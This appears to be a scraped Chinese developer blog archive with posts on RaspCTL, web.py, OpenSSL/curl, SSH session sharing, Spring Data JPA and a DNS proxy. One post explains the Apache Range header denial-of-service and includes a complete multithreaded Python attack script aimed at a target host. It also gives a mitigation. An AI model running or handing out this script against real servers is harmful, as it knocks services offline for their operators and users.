    • 将 bin/start.sh 配置到树莓派的/etc/rc.local exit之前。 同理,你在rc.local中可以启动其他任何服务;
  • Q:如何使用80端口
    • debian系统禁用了小于1024的端口,所以RaspCTL只有使用8000端口。可以通过iptable将80端口请求转发到8000端口: iptables -t nat -A PREROUTING -p tcp --dport 81 -j REDIRECT --to-ports 8080

开发者文档

类库API

Omxplayer

play 播放,可以指定播放列表中任一一个资源
pause 暂停播放
resume 恢复播放
stop 停止播放
lseek 快退, 快退30秒, 参数为True的话,快退10分钟
rseek 快进, 快进30秒,参数为True的话,快进10分钟
prev 播放上一首
next 播放下一首
set_playlist 设置播放列表
add_playitem 添加多媒体资源到播放列表中, 参数为 ('url', 'name') 资源地址, 资源显示名
del_playitem 清空播放列表
sort_playitem 播放列表排序
set_dev 设置输出设备, hdmi接口 或者 本地音频接口
set_loop 设置播放模式:顺序,循环
get_info 获取播放器信息,如播放状态等

LocalFile?

get_mediapath 获得多媒体文件根目录路径
list 获取一个目录下的所有资源
list_all 递归获取一个目录下的所有资源

Config

load 获取raspctl.cnf中的配置信息
save 更新raspctl.cnf中的配置信息

MediaUrl?

get_urls 获取网站url对应的真实视屏url地址信息, fmt=high 获取高清视屏地址

Ajax规范

使用Ajax的目的:为了RaspCTL提供的服务可以同时被WAP, Android APP, IOS APP使用,RaspCTL服务均以Ajax形式提供。希望Plugins开发者也遵照这个规约,但不强制。
类库中,只要被标志@classmethod的方法,会直接暴露成Ajax服务,如:

class Foo:
   
@classmethod
   
def hello(cls, arg1, arg2):
       
return {msg: 'Hello Ajax[%s %s]' % (arg1, arg2)}


Ajax服务地址为:http://xxx.xxx.xxx.xxx:8000/api?data={"name":"Foo.hello", "args":["stone2083", "connie2083"]} 服务信息为:

{
  status
: "Success",
  message
: "Success",
  api
: {
    args
: [ ],
    name
: "Foo.hello"
 
},
  result
: {
    msg
: "Hello Ajax[stone2083 connie2083]"
 
}
}

Plugins规范

youku --> 插件名字
    __init__
.py --> 插件程序
    index
.html --> 插件模板 【可选择】

init.py 内容为:

from rasplib import Plugin
urls
= (
   
'/', 'Index',
)

# 必须创建plugin实例,参数分别为插件名,作者名,版本号, 支持功能的urls
#其中,plugin中包含RaspCTL类库的所有方法,可直接调用
plugin
= Plugin('youku','stone2083', '0.1', urls)

#web.py写法,插件规范并不引入新的学习成本。
class Index:
   
def GET(self):
       
return 'youku-NotSupported.'  #可以直接输出
       
#return plugin.render.index()  #可以渲染某个模板信息

写在最后

  • RaspCTL作者联系信息:stone2083#yahoo.cn 程序的任何问题可直接联系这个邮箱
  • 招募UED设计前端界面 0.1.0前端非常糟糕,急待重构
  • 招募Plugin开发者,丰富RaspCTL
  • 期待小白鼠适用RaspCTL

posted @ 2013-01-16 16:23 stone2083 阅读(1880) | 评论 (0)编辑 收藏

SAE Python 支持web.py (非官方支持)

感谢limodou,Felinx Lee,获得了一个SAE Python邀请码。
首次倒腾SAE,不熟悉,瞎搞,第一件干的事情,就是尝试如何让SAE支持web.py.

1. svn check out
svn co https://svn.sinaapp.com/stone2083 sae

2. 创建版本目录
mkdir 1
cd 1/

3. copy web.py目录到当前目录
scp -r /usr/share/pyshared/web web

4. 编写正常的webpy应用代码
vi webpy.py 
 1 import web
 2 
 3 urls = (
 4     '/''Home',
 5 )
 6 
 7 class Home:
 8     def GET(self):
 9         web.header('Content-Type''text/html')
10         return 'Hello Web.py'
11 
12 app = web.application(urls, globals())

5. 编写index.wsgi
vi index.wsgi
1 import sae
2 from webpy import app
3 application = sae.create_wsgi_app(app.wsgifunc())

整体目录结构如下:


搞定:
http://stone2083.sinaapp.com/

posted @ 2011-11-24 15:48 stone2083 阅读(3317) | 评论 (3)编辑 收藏

SSL相关命令随记

背景
之前利用笨重的Java写过内网访问程序(SSL双向认证系统),今天才发现curl等命令对SSL都有良好的支持。
故记录相关点滴。

创建CA根证书

#创建ca私钥
openssl genrsa -out ca.key
#创建证书请求文件(Certificate Secure Request)
openssl req -new -key ca.key -out ca.csr

#创建CA根证书
openssl x509 -req -days 3650 -in ca.csr -signkey ca.key -out ca.crt

创建服务器证书
#创建服务器私钥

openssl genrsa -out server.key

#创建服务器证书请求文件
openssl req -new -key server.key -out server.csr

#创建服务器证书
openssl ca -in server.csr -cert ca.crt -keyfile ca.key -out server.crt

PFX证书转换
#pfx格式证书导出成pem格式证书

openssl pkcs12 -in jinli.pfx -nodes -out jinli.pem
#导出私钥
openssl rsa -in jinli.pem -out jinli.key
#导出证书,公钥
openssl x509 -in jinli.pem -out jinli.crt


curl访问HTTPS命令
curl -E jinli.pem:${password} --cacert ca.crt https://www.cn.alibaba-inc.com/
curl --cacert gmail.pem https://mail.google.com/mail
curl --cert jinli.crt --key jinli.key --cacert ca.crt https://www.cn.alibaba-inc.com/
参数解释
    --cacert <file> CA certificate to verify peer against (SSL)
    --capath 
<directory> CA directory to verify peer against (SSL)
 -E/--cert 
<cert[:passwd]> Client certificate file and password (SSL)
    --cert-type 
<type> Certificate file type (DER/PEM/ENG) (SSL)
    --key 
<key>     Private key file name (SSL/SSH)

    --key-type 
<type> Private key file type (DER/PEM/ENG) (SSL)

python访问HTTPS代码
from httplib import HTTPSConnection

con 
= HTTPSConnection('www.cn.alibaba-inc.com', cert_file='jinli.pem')
con.connect()
con.request(
'GET''/xxx')
res 
= con.getresponse()
print res.status
print res.read()
res.close()
con.close()

python查看证书信息代码
from OpenSSL import crypto
x509 
= crypto.load_certificate(crypto.FILETYPE_PEM, open('cert_file').read())
print x509.get_issuer()

pkcs 
= crypto.load_pkcs12(open(pkcs_file).read(),passphrase)
print pkcs.get_certificate().get_issuer()

 

HTTPSConnection不理解的地方 

def wrap_socket(sock, keyfile=None, certfile=None,
                server_side
=False, cert_reqs=CERT_NONE,
                ssl_version
=PROTOCOL_SSLv23, ca_certs=None,
                do_handshake_on_connect
=True,
                suppress_ragged_eofs
=True, ciphers=None):

    
return SSLSocket(sock, keyfile=keyfile, certfile=certfile,
                     server_side
=server_side, cert_reqs=cert_reqs,
                     ssl_version
=ssl_version, ca_certs=ca_certs,
                     do_handshake_on_connect
=do_handshake_on_connect,
                     suppress_ragged_eofs
=suppress_ragged_eofs,
                     ciphers
=ciphers)

 

ssl wrap的函数是支持ca_certs参数的,但是HTTPSConnection不支持ca_certs参数
class HTTPSConnection(HTTPConnection):
        
"This class allows communication via SSL."

        default_port 
= HTTPS_PORT

        
def __init__(self, host, port=None, key_file=None, cert_file=None,
                     strict
=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
                     source_address
=None):
            HTTPConnection.
__init__(self, host, port, strict, timeout,
                                    source_address)
            self.key_file 
= key_file
            self.cert_file 
= cert_file

        
def connect(self):
            
"Connect to a host on a given (SSL) port."

            sock 
= socket.create_connection((self.host, self.port),
                                            self.timeout, self.source_address)
            
if self._tunnel_host:
                self.sock 
= sock
                self._tunnel()
            self.sock 
= ssl.wrap_socket(sock, self.key_file, self.cert_file)






posted @ 2011-10-17 20:22 stone2083 阅读(3334) | 评论 (2)编辑 收藏

阿里巴巴B2B招聘高级java开发工程师

我不想列“精通xxx...熟悉xxx”,只要求,如果您:

有2年或以上java实际开发经验 或
1年以上java实际开发经验但技术能力较强

就能直接联系我:
1. 直接在此帖留言
2. Email:stone2083@yahoo.cn
3. MSN:stone2083@yahoo.cn

im沟通我们可以谈简历的事情,走内部推荐,1.电面2.来杭面试,流程简单,全程报销路费;

P.S. 年初,各大公司招聘旺季,阿里巴巴这里呢,我不想说有多好,但也绝对不算差,最实际的,薪酬待遇,各大公司基本保密,但其实业内人士大多心里也有数,秘而不
宣;所以,待遇方面不用过多担心,请诸君仔细斟酌,欢迎联系!

P.S.II 为什么我这招聘帖这么简单呢?其实你懂的,“精通xxx熟悉xxx”那只是吓唬小菜的,对“高级java开发工程师”而言没有意义,我们需要的只是充分沟通、im沟通+当面沟通。在这个有点糟糕的时代,我们人人都不仅需要money,也需要平台与机遇,更需要个人修为与成长!请给阿里和您自己一个机会,谢谢!

请管理员手下留情,如果非要删除,请先联系我下。让我能拷贝下这些文字先!谢谢

posted @ 2011-10-11 17:49 stone2083 阅读(3987) | 评论 (15)编辑 收藏

谁说web.py性能差?

一直在网上听说web.py性能比较差,TPS才几十个。这个道听途说让我一度放弃了web.py。
对比了一圈python web framework后,还是让我对web.py的simple和它的设计理念念念不忘。

机器介绍
机型:ThinkPad R400 笔记本
CPU:Intel(R) Core(TM)2 Duo CPU     P8700  @ 2.53GHz
Mem: 2G
系统:Ubuntu11.04 32位操作系统
备注:服务器上没有python环境,所以只拿个人电脑做测试。

测试内容
输出当前时间信息
1. <%= new Date() %>
2. time.ctime()

对比测试数据
服务器 并发数量 TPS 平均响应时间
Tomcat6 + JDK6 50 6519.29 7.67MS
CherryPy + Webpy 25 1328.56 18.82MS
CherryPy + Webpy 30 Fail Fail
Lighttpd + Flup(FCGI) + Webpy 25 1535.98 16.28MS
Lighttpd + Flup(FCGI) + Webpy 50 1546.11 32.339MS

测试感受
1. webpy自带的CherryPy服务器性能也比传说的强多了,只是难以支撑高并发的请求。也难怪,本来就是一个用于开发的服务器,也不能要求太多;
2. Flup(FCGI)下,TPS达到1500左右,完全能够支撑一般应用的运营要求了;
3. 在专业服务器下,webpy fcgi tps自信能达到4-5k左右。足够了;
4. 和Java相比,确实存在一定差距,但是在开发效率上,远远快于Java;
5. web.py成为我日后web开发首选;
6. 凡事不要道听途说,需要眼见为实。

附上测试报告图片:

posted @ 2011-09-30 14:51 stone2083 阅读(6820) | 评论 (10)编辑 收藏

Apache Range Header DOS攻击 介绍

背景
http://lwn.net/Articles/456268/


Http协议之Byte Range
http://www.ietf.org/rfc/rfc2616.txt (14.35章节)
14.35   Range ....................................................138
   14.35.1    Byte Ranges ...........................................138
   14.35.2    Range Retrieval Requests ..............................139

Apache演示
1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求,请看:

3.带Byte Range Header的请求,请看:


理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。

解决方案
1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题
2. 对于不是下载站点来说,建议禁用Byte Range,具体做法:
2.1 安装mod_headers模块
2.2 配置文件加上: RequestHeader unset Range

最后附上一个攻击脚本,做演示
 1 # encoding:utf8
 2 #!/usr/bin/env python
 3 import socket
 4 import threading
 5 import sys
 6 
 7 headers = '''
 8 HEAD / HTTP/1.1
 9 Host: %s
10 Range: bytes=%s
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12 
13 '''
14 
15 #fragment count and loop count
16 COUNT = 1500
17 #concurrent count
18 PARALLEL = 50
19 PORT = 80
20 
21 def req(server):
22     try:
23         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24         s.connect((server, PORT))
25         s.send(headers % (server, fragment(COUNT)))
26         s.close()
27     except:
28         print 'Server Seems Weak. Please Stop.'
29 
30 def fragment(n):
31     ret = ''
32     for i in xrange(n):
33         if i == 0:
34             ret = ret + '0-' + str(i + 1)
35         else:
36             ret = ret + ',0-' + str(i + 1)
37     return ret
38 
39 def run(server):
40     for _ in xrange(COUNT):
41         req(server)
42 
43 if len(sys.argv) != 2:
44     print 'killer.py $server'
45     sys.exit(0)
46 
47 #run
48 srv = sys.argv[1]
49 for _ in xrange(PARALLEL):
50     threading.Thread(target=run, args=(srv,)).start()
51 

posted @ 2011-08-29 10:35 stone2083 阅读(4357) | 评论 (0)编辑 收藏

Linux下SSH Session复制

羡慕Windows下secureCRT的Session Copy功能,一直在寻找Linux下类似的软件,殊不知SSH本身就支持此功能。
特别感谢阿干同学的邮件分享。

详细方法
Linux/mac下,在$HOME/.ssh/config中加入
Host 
*
ControlMaster auto
ControlPath 
/tmp/ssh-%r@%h
至此只要第一次SSH登录输入密码,之后同个Hosts则免登。

配置文件分析
man ssh_config 5
ControlPath
             Specify the path to the control socket used for connection sharing as described in the ControlMaster section
             above or the string “none” to disable connection sharing.  In the path, ‘%l’ will be substituted by the
             local host name, ‘%h’ will be substituted by the target host name, ‘%p’ the port, and ‘%r’ by the remote
             login username.  It is recommended that any ControlPath used for opportunistic connection sharing include at
             least %h, %p, and %r.  This ensures that shared connections are uniquely identified.
%r 为远程机器的登录名
%h 为远程机器名

原理分析

严格地讲,它并不是真正意义上的Session Copy,而只能说是共享Socket。
第一次登录的时候,将Socket以文件的形式保存到:/tmp/ssh-%r@%h这个路径
之后登录的时候,一旦发现是同个主机,则复用这个Socket
故,一旦主进程强制退出(Ctrl+C),则其他SSH则被迫退出。

可以通过ssh -v参数,看debug信息验证以上过程

备注
有同学说在linux上通过证书的形式,可以实现免登录,没错。
对于静态密码,完全可以这么干;对于动态密码(口令的方式),则上述手段可以方便很多。

posted @ 2011-08-25 17:02 stone2083 阅读(3750) | 评论 (4)编辑 收藏

Spring Data JPA 代码分析

背景
接上文:Spring Data JPA 简单介绍
本文将从配置解析,Bean的创建,Repository执行三个方面来简单介绍下Spring Data JPA的代码实现

友情提醒:
图片均可放大

配置解析
1. parser类
Spring通过Schema的方式进行配置,通过AbstractRepositoryConfigDefinitionParser进行解析。其中包含对NamedQuery的解析。
解析的主要目的,是将配置文件中的repositories和repository元素信息分别解析成GlobalRepositoryConfigInformation和SingleRepositoryConfigInformation。
详见下图
2. Information

CommonRepositoryConfigInformation:
xml中repositories的通用配置,一般对应其中的attributes
SingleRepositoryConfigInformation:
xml中repository的配置信息,对应其中的attributes
GlobalRepositoryCOnfigInformation:
一组SingleRepositoryConfigInfomation信息,包含所有的Single信息
在JPA实现中,针对Single,有两份实现,一份是自动配置信息,一份是手动配置信息,分别对应图中的Automatic和Manual。
SimpleJpaRepositoryConfiguration是JPA中的所有配置信息,包含所有的Jpa中的SingleRepositoryConfigInformation。
3. Query Lookup Strategy
CreateQueryLookupStrategy:对应repositories元素
query-lookup-strategy的create值,主要针对method query方式
DeclaredQueryLookupStrategy:对应use-declared-query值,主要针对带有@Query注解的查询方式
CreateIfNotFoundQueryLookupStrategy:对应create-if-not-found值(default值),结合了上述两种方式


Bean的创建

主要包含两个类
RepositoryFactoryBeanSupport, Spring Factory Bean,用于创建Reposiory代理类。其本身并不真正做代理的事情,只是接受Spring的配置,具体交由RepositoryFactorySupport进行代理工作
RepositoryFactorySupport, 真正做Repository代理工作,根据JpaRepositoryFactoryBean的定义找到TargetClass:SimpleJpaRepository实现类,中间加入3个拦截器,一个是异常翻译,一个是事务管理,最后一个是QueryExecutorMethodInterceptor。
QueryExecutorMethodInterceptor是个重点,主要做特定的Query(查询语句)的操作。

Repository执行
1. 主要执行类
在看上面Bean定义的时候,其实已经明白了执行过程:
1. 将JPA CRUD规范相关的方法交给SimpleJpaRepository这个类执行
2. 将特殊查询相关的交给QueryExecutorMethodInterceptor执行。主要做自定义实现的部分,method query部分和named query部分。
具体查询类详见下图。

2. 查询相关
主要支持NamedQuery和JPA Query。


主要执行代码
QueryExecutorMethodInterceptor#invoke(MethodInvocation invocation)
 1 public Object invoke(MethodInvocation invocation) throws Throwable {
 2 
 3             Method method = invocation.getMethod();
 4 
 5             if (isCustomMethodInvocation(invocation)) {
 6                 Method actualMethod = repositoryInformation.getTargetClassMethod(method);
 7                 makeAccessible(actualMethod);
 8                 return executeMethodOn(customImplementation, actualMethod,
 9                         invocation.getArguments());
10             }
11 
12             if (hasQueryFor(method)) {
13                 return queries.get(method).execute(invocation.getArguments());
14             }
15 
16             // Lookup actual method as it might be redeclared in the interface
17             // and we have to use the repository instance nevertheless
18             Method actualMethod = repositoryInformation.getTargetClassMethod(method);
19             return executeMethodOn(target, actualMethod,
20                     invocation.getArguments());
21         }

主要分3个步骤:
1. 如果配置文件中执行了接口类的实现类,则直接交给实现类处理
2. 判断是查询方法的,交给RepositoryQuery实现,具体又分:NamedQuery,SimpleJpaQuery,PartTreeJpaQuery
3. 不属于上述两个,则直接将其交给真正的targetClass执行,在JPA中,就交给SimpleJpaRepository执行。

本文并没有做详细的分析,只是将核心的组件类一一点到,方便大家自行深入了解代码。

posted @ 2011-08-25 16:28 stone2083 阅读(5267) | 评论 (1)编辑 收藏

Spring Data JPA 简单介绍

背景
考虑到公司应用中数据库访问的多样性和复杂性,目前正在开发UDSL(统一数据访问层),开发到一半的时候,偶遇SpringData工程。发现两者的思路惊人的一致。
于是就花了点时间了解SpringData,可能UDSL II期会基于SpringData做扩展

SpringData相关资料
介绍:针对关系型数据库,KV数据库,Document数据库,Graph数据库,Map-Reduce等一些主流数据库,采用统一技术进行访问,并且尽可能简化访问手段。
目前已支持的数据库有(主要):MongoDB,Neo4j,Redis,Hadoop,JPA等

SpringData官方资料(强烈推荐,文档非常详细)
SpringData主页:http://www.springsource.org/spring-data
SpringDataJPA 指南文档:http://static.springsource.org/spring-data/data-jpa/docs/current/reference/html/ (非常详细)
SpringDataJPA Examples: https://github.com/SpringSource/spring-data-jpa-examples (非常详细的例子)

Spring-Data-Jpa简介
Spring Data Jpa 极大简化了数据库访问层代码,只要3步,就能搞定一切
1. 编写Entity类,依照JPA规范,定义实体
2. 编写Repository接口,依靠SpringData规范,定义数据访问接口(注意,只要接口,不需要任何实现)
3. 写一小陀配置文件 (Spring Scheme配置方式极大地简化了配置方式)

下面,我依赖Example中的例子,简单地介绍下以上几个步骤
User.java
User.java
没什么技术,JPA规范要求怎么写,它就怎么写

Repository.java
SimpleUserRepository.java
需要关注它继承的接口,我简单介绍几个核心接口
Repository: 仅仅是一个标识,表明任何继承它的均为仓库接口类,方便Spring自动扫描识别
CrudRepository: 继承Repository,实现了一组CRUD相关的方法
PagingAndSortingRepository: 继承CrudRepository,实现了一组分页排序相关的方法
JpaRepository: 继承PagingAndSortingRepository,实现一组JPA规范相关的方法
JpaSpecificationExecutor: 比较特殊,不属于Repository体系,实现一组JPA Criteria查询相关的方法

不需要写任何实现类,Spring Data Jpa框架帮你搞定这一切。

Spring Configuration
Configuration.xml

核心代码只要配置一行:<jpa:repositories base-package="org.springframework.data.jpa.example.repository.simple" />即可。上面的仅仅是数据源,事务的配置而已。

至此,大功告成,即可运行
Sample.java

其中,写操作相对比较简单,我不做详细介绍,针对读操作,我稍微描述下:
Method Query: 方法级别的查询,针对
findByfindreadByreadgetBy等前缀的方法,解析方法字符串,生成查询语句,其中支持的关键词有:


Named Query: 针对一些复杂的SQL,支持原生SQL方式,进行查询,保证性能
Criteria Query: 支持JPA标准中的Criteria Query

备注:
本文只是简单介绍SpringDataJpa功能,要深入了解的同学,建议直接传送到官方网站

posted @ 2011-08-25 15:18 stone2083 阅读(19978) | 评论 (12)编辑 收藏

DNS代理服务器

背景接上文:http://www.blogjava.net/stone2083/archive/2011/05/23/350875.html
随笔摘自6月13日邮件分享
目前此软件在公司测试环境上运行良好,故分享给大家。

以下为分享内容:

好处

1.       一个项目、小需求,需要绑定的Hosts,只需要一份Hosts信息即可。不必每个用户自行管理各自电脑的Hosts。达到一人配置,多人使用的目的

2.       绑定的Hosts,支持通配符。方便类似旺铺域名的需求,只需要配置一个带通配符的域名即可

3.       要在不同项目,小需求切换不同的Hosts时,只需要轻轻一点,方便

4.       要想使用代理服务器,只需要本地DNS设置一下即可,方便

5.       本机Hosts配置优先

 

如何使用:(以10.20.131.207环境介绍)备注:公司内部环境,外部无法访问,如果需要,请自行搭建

1.       登陆DNS后台管理页面URLhttp://10.20.131.207:8000/,点击Add


2.       添加一个项目的Hosts信息,点击添加


3.       Hosts信息页面,点击assign,绑定自己电脑IP和某个Hosts的关联


4.       IP List页面上,显示了不同IPHosts关联的信息


5.       将本机电脑的DNS服务器设置成DNS代理服务器即可(10.20.131.207-- 只需要一次操作即可,以后一直能用

左图为windows配置,右图为linux配置

 

此时,你访问域名,如果在2011tp hosts中,则直接返回Hosts中的IP;反之,则返回真实IP。


如何启动服务
1. 启动DNS代理服务器服务
1.1 cd dns/dns
1.2 vi settings.py 修改配置信息
1.3 python -u main.py

2. 启动DNS BackOffice服务
2.1 cd dns/config
2.2 vi settings.py 修改配置信息
2.3 python -u manage.py runserver


软件下载:DNS Proxy Server

============================================================================================
为了满足“邪恶”的人们能更方便的使用这个软件(貌似邪恶的人特别看重这个软件通配符的功能,具体邪恶在哪里,我不具体描述了,给个链接),我特意写了一个standalone的版本:
1. 去除无用的backoffice功能
2. 去除通过事件机制reload hosts文件的功能
3. 去除复杂的settings配置文件,改用简单的命令行方式
4. 特意为windows用户制作了一个exe文件,可以直接使用

linux用户使用方案:
python standalone.py -s xxx.xxx.xxx.xxx (上级dns地址)
python standalone.py -s xxx.xxx.xxx.xxx -f /etc/hosts2 (指定hosts文件,默认是/etc/hosts)

windows用户使用方案,进入dist(exe发布目录)
dns.exe -s xxx.xxx.xxx.xxx (上级dns地址)
dns.exe -s xxx.xxx.xxx.xxx -f d:/hosts (指定hosts文件,默认是c:/windows/system32/drivers/etc/hosts)

对于不放心使用exe的客户来说,可以进入dns目录,通过py2exe工具自行发布成exe软件,方法如下
python setup.py py2exe

standalone版本下载

posted @ 2011-07-04 20:39 stone2083 阅读(9556) | 评论 (23)编辑 收藏

扩展Python MySQLdb Cursor

Python shell下操作mysql一直使用MySqldb。
其默认的Cursor Class是使用tuple(元组)作为数据存储对象的,操作非常不便
1 = cursor.fetchone()
2 print(p[0], p[1])
如果有十几个字段,光是数数位数,就把我数晕了。

当然,MySqldb Cursor Class本身就提供了扩展,我们可以切换成DictCurosor作为默认数据存储对象,如
MySQLdb.connect(host='127.0.0.1', user='sample', passwd='123456', db='sample', cursorclass=DictCursor, charset='utf8')
#
= cursor.fetchone()
print(p['id'], p['name'])
字典的方式优于元祖。

但是,"[]"这个符号写写比较麻烦,并且我编码风格带有强烈的Java习惯,一直喜欢类似"p.id","p.name"的写法。
于是,扩展之
1. 扩展Dict类,使其支持"."方式:
 1 class Dict(dict):
 2     
 3     def __getattr__(self, key):
 4         return self[key]
 5     
 6     def __setattr__(self, key, value):
 7         self[key] = value
 8     
 9     def __delattr__(self, key):
10         del self[key]
2. 扩展Curosor,使其取得的数据使用Dict类:
 1 class Cursor(CursorStoreResultMixIn, BaseCursor):
 2 
 3     _fetch_type = 1
 4 
 5     def fetchone(self):
 6         return Dict(CursorStoreResultMixIn.fetchone(self))
 7 
 8     def fetchmany(self, size=None):
 9         return (Dict(r) for r in CursorStoreResultMixIn.fetchmany(self, size))
10 
11     def fetchall(self):
12         return (Dict(r) for r in CursorStoreResultMixIn.fetchall(self))

这下,就符合我的习惯了:
1 MySQLdb.connect(host='127.0.0.1', user='sample', passwd='123456', db='sample', cursorclass=Cursor, charset='utf8')
2 #
3 = cursor.fetchone()
4 print(p.id, p.name)

posted @ 2011-06-18 00:41 stone2083 阅读(2749) | 评论 (1)编辑 收藏

ubuntu下删除内核后的恢复

悲哀,今天下午不知道执行了什么命令,居然删除了linux kernel。
晚上重启机子后,无法进入系统,一直停留在memtest界面。

一开始,以为grub损坏,只好通过Live CD/USB Stick 的方式,进入系统。
1. 进入Ubuntu Download页面,下载ISO文件
2. 通过Universal USB Installer,创建USB启动文件
详细说明请点击Ubuntu Download页面中“Burn your CD or create a USB drive

进入Live CD后,发现grub完好,但是查看/boot/下,发现linux kernel文件不见了,估计下午执行什么命令,给不小心删除了。

只能通过chroot方式,重装linux kernel
1.chroot -- 利用root帐号操作
#mkdir /uroot #创建临时文件,作为新的root文件
#mount /dev/sda1 /uroot #将硬盘挂载到新的root文件上,sda是之前装有ubuntu的硬盘
#mount --bind /proc /uroot/proc #将当前进程文件绑定到uroot下的proc
#mount --bind /dev /uroot/dev  #将设备文件绑定到uroot下的dev
#chroot

2.配置uroot下的网络 -- 家中是利用ADSL上网
# pppoeconf #配置ADSL帐号和密码
# pon dsl-provider #启动帐号,上网

3.安转linux kernel
# apt-get install linux-image-2.6.32-32-generic

重启系统,恢复正常。

posted @ 2011-06-18 00:16 stone2083 阅读(2641) | 评论 (0)编辑 收藏

使用vimdiff作为svn diff的默认工具

一直习惯于Linux命令,唯独对svn diff耿耿于怀,其结果真不是人能看懂的 :)
感谢khotyn的分享文档,提醒我可以使用vimdiff作为svn diff的默认工具,步骤如下:

1.编写svndiff脚本
1 #!/bin/sh
2 #去掉前5个参数
3 shift 5
4 #使用vimdiff比较
5 vimdiff -"$@"

2.修改svn默认配置,vi ~/.subversion/config
1 #设置diff-cmd为svndiff脚本地址
2 diff-cmd = svndiff

3.使用svn diff命令,效果如下


备注:
1. svn diff --diff-cmd 中的7个回调函数参数分别是:
1 -u
2 -L
3 pom.xml (revision 351676)
4 -L
5 pom.xml (working copy)
6 .svn/tmp/tempfile.tmp
7 pom.xml

2. vimdiff非常强悍的

posted @ 2011-05-24 13:47 stone2083 阅读(3390) | 评论 (2)编辑 收藏

Hosts绑定新思路之DNS代理服务器实现篇

     摘要: 背景 详见《Hosts绑定新思路之DNS代理篇》 核心内容 1. DNS协议解析 2. 启动UDP服务,监听53端口 3. 根据DB或者文本,进行Hosts解析 DNS协议 DNS Protocol Overview (推荐) 非强详细,但是不怎么看得懂的长篇大论 如果没有耐心的同学,可以看看我通过wireshark分析之后制作的两张gif图片。大概能知道DNS协议的...  阅读全文

posted @ 2011-05-23 21:24 stone2083 阅读(2952) | 评论 (0)编辑 收藏

Hosts绑定新思路之DNS代理篇

前言

此文摘自2011年5月23日邮件分享,为《Hosts绑定新思路之HTTP代理篇》续集



电视有续集,电影也有续集,Hosts绑定思路同样有续集.

 

我们先用一句话来回顾下,上集中关于Hosts绑定的思路:

原理:利用Http代理的方式,将分散在各个客户端的Hosts绑定,集中绑定在Http代理服务器上

优点:集中管理

缺点:一台Http代理服务器,只能绑定一组Hosts信息

(详细内容,请见之前的邮件)

 

在当时描述方案邮件的时候,也意识到了方案存在的不足,所以一直在思考改进方案(详见之前邮件中最后一节改进方案思路).

经过一段时间的思考,改进方案有了大概的雏形将之前的HTTP代理方案 替换成 DNS代理方案

 

俗话说得好:有图有真相.先贴上一张架构图,之后再用文字慢慢解 


 

架构中核心组件是:DNS BackOffice服务器 DNS代理服务器

DNS BackOffice服务器的作用有:

1.       开发/测试管理员通过BackOffice服务维护各自项目的绑定信息,BackOffice服务将之持久化                (图中 蓝色虚线)

2.       开发/测试人员通过BackOffice服务,告知需要哪个项目的绑定信息,BackOffice服务将之持久化           (图中 黑色虚线)

 

DNS代理服务器的作用有:

1.       拦截Domain Name的解析.通过来源IP判断需要绑定的Hosts信息,File/DB得到对应的IP,通过DNS协议返回  (图中 红色实线  黑色实线)

2.       如果不在绑定之列,则请求上级DNS服务器,返回其Response.

 

此方案的优势:

1.       本地Hosts绑定优先.

只要本地Hosts有绑定IP,则不会请求DNS代理服务器.请求本地Hosts文件.能满足个性化需求.

2.       DNS代理服务器支持多种绑定方式,如通配符,正则等

对于目前旺铺,完全可以使用通配符, *.cn.alibaba.com,简化配置工作量

3.       操作简单

只要将DNS服务器设置成DNS代理服务器IP即可 (附录中有详细说明)

4.       有效利用现有成果

目前测试同学已经集中维护了Hosts绑定信息,只要部署DNS代理服务器,并做简单的集成即可

5.       DNS代理服务器代码轻量小巧,易于修改扩展

目前一共只有212行代码,其中DNS协议部分130,DNS代理部分82.

 

 

附录

I.                    客户端如何设置DNS服务器

Windows用户,见图:


Linux用户,见图:


修改 /etc/resolv.conf文件即可

posted @ 2011-05-23 19:42 stone2083 阅读(1853) | 评论 (0)编辑 收藏

Hosts绑定新思路之HTTP代理篇

前言

此文摘自2011年3月22日邮件分享


现状

平时开发,测试,功能预演阶段,为了能够正常访问应用,需要做Hosts绑定.随着应用数量的不断增多,绑定量也是急剧上升.例如最近工作平台三期项目,需要绑定的环境多达44个.一旦有变动,需要通知所有人员做本地Hosts的调整,维护成本那是相当地大.

 

用一张图,来描述下目前我们的方案:


 

如果站在面向对象编程的角度,来思考这张图,我们会发现.

1.       利用客户端本地Hosts绑定来实现,并且客户端数量不可控—利用客户端解决需求,但客户端维护不在可控范围内

2.       Hosts绑定是非常不稳定的—需求易变

 

这样的设计,违反了”封装变化”的设计原则,故一旦有变动,维护成本非常大.

 

新方案思路

按照”封装变化”的设计原则,我们就应该把”域名绑定”这个易变需求,进行统一管理.

看上图,我们会发现,DNS的职责就是做域名解析的,并且DNS管理比较可控.

于是第一反应,我们可以使用内部域名解析服务器来绑定这些域名.

但是问题又来了,DNS来做测试环境域名解析,太重量级了.同一个域名,对应测试服务器IP有多个,绑定哪一个好呢?并且域名对应IP不断变化,IT DNS负责人不被我们累死啊? 

 

既然DNS上做文章不可行,又需要统一管理的地方,那么我们只能再抽象出一个新的概念来.

同样,我们利用一张图,来描述下整体架构.



与上图相对,此图多了一个”代理服务器”的概念,即Hosts绑定动作在此概念上完成.

流程如下:

1.       客户端浏览器设置代理服务器,将所有请求发送到代理服务器上

2.       代理服务器检查本地Hosts绑定,如绑定则直接解析,反之进入流程3

3.       代理服务器通过内部域名服务器解析域名

4.       代理服务器发送请求到测试服务器上,并且将响应内容返回给客户端

 

具体尝试性实施方案如下(在XX项目过程中有成功案例)

1.       利用squid搭建代理服务器 (代理地址: 10.20.131.207:3128)

备注:

Squid配置介绍见附录I

 

2.       浏览器配置代理

全局代理: 代理服务器上,直接填写 10.20.131.207 3128

局部代理: 通过pac实现,选择”使用自动配置脚本”,脚本格式内容如下:



备注:

Pac脚本详细介绍见附录II

为了防止将配置工作带给PD,销售等,我们可以使用配置好的绿色浏览器提供直接使用.

推荐一款:GreenBrowser: http://www.morequick.com/indexen.htm

 

IE具体配置,见下图:



Firefox同样支持代理和pac脚本

Chrome需要安装proxy switchy插件来支持.

 

改进方案思路

上述的方案中,有两个比较大的缺陷

1.       代理服务器没有多实例概念

